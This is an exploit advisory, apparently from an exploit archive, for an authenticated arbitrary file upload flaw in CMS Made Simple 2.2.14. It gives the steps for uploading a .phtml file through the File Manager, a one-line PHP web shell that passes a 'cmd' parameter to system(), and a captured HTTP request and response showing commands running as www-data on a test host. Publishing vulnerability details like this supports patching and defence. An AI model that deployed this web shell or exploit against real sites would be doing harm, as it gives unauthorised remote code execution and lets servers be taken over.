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CMS Made Simple 2.2.14 Shell Upload

CMS Made Simple 2.2.14 Shell Upload
Posted Aug 13, 2020
Authored by Roel van Beurden

CMS Made Simple version 2.2.14 suffers from an authenticated shell upload vulnerability.

tags | exploit, shell
SHA-256 | dfec683841667f70218145ec3220e0b1035d7cd217d4a78f597b5fdeafa9b894

CMS Made Simple 2.2.14 Shell Upload

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# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)
# Google Dork: -
# Date: 2020-07-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
# Version: 2.2.14
# Tested on: Linux Ubuntu 18.04
# CVE: N/A


1. Description:
----------------------
CMS Made Simple 2.2.14 allows Authenticated Arbitrary File Upload because the File Manager does not block .ptar and .phtml files. A malicious user can perform remote code execution.


2. Proof of Concept:
----------------------
- Create .phtml or .ptar file with malicious PHP payload;
- Upload .phtml or .ptar file in the 'File Manager' module;
- Click on the uploaded file to perform remote code execution.


3: Example payload:
----------------------
<?php system($_GET['cmd']);?>


4a: Burp request:
----------------------
GET /cmsms/uploads/rce.phtml?cmd=id HTTP/1.1
Host: 10.10.10.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie: d2f3b04a992e92af78d4f451813df40fa6f4f4b4=2c462b984c95aa0a8d18f59e2dd21defb7d7e368%3A%3AeyJ1aWQiOjIsInVzZXJuYW1lIjoiUm9lbCIsImVmZl91aWQiOm51bGwsImVmZl91c2VybmFtZSI6bnVsbCwiaGFzaCI6IiQyeSQxMCQ4NS5qSy5nTTMxZmJEQmlGTXlIYlQuUUR5eFRDekpsSVFncjhOS1FMbDhBSUlIUjVYeVNJZSJ9; __c=e9ef732e78dc5a9f603; CMSSESSIDde72be53c754=71mvdcppeeunddtap69k26ia4v

Upgrade-Insecure-Requests: 1


4b: Burp response:
----------------------
HTTP/1.1 200 OK
Date: Thu, 30 Jul 2020 23:14:47 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
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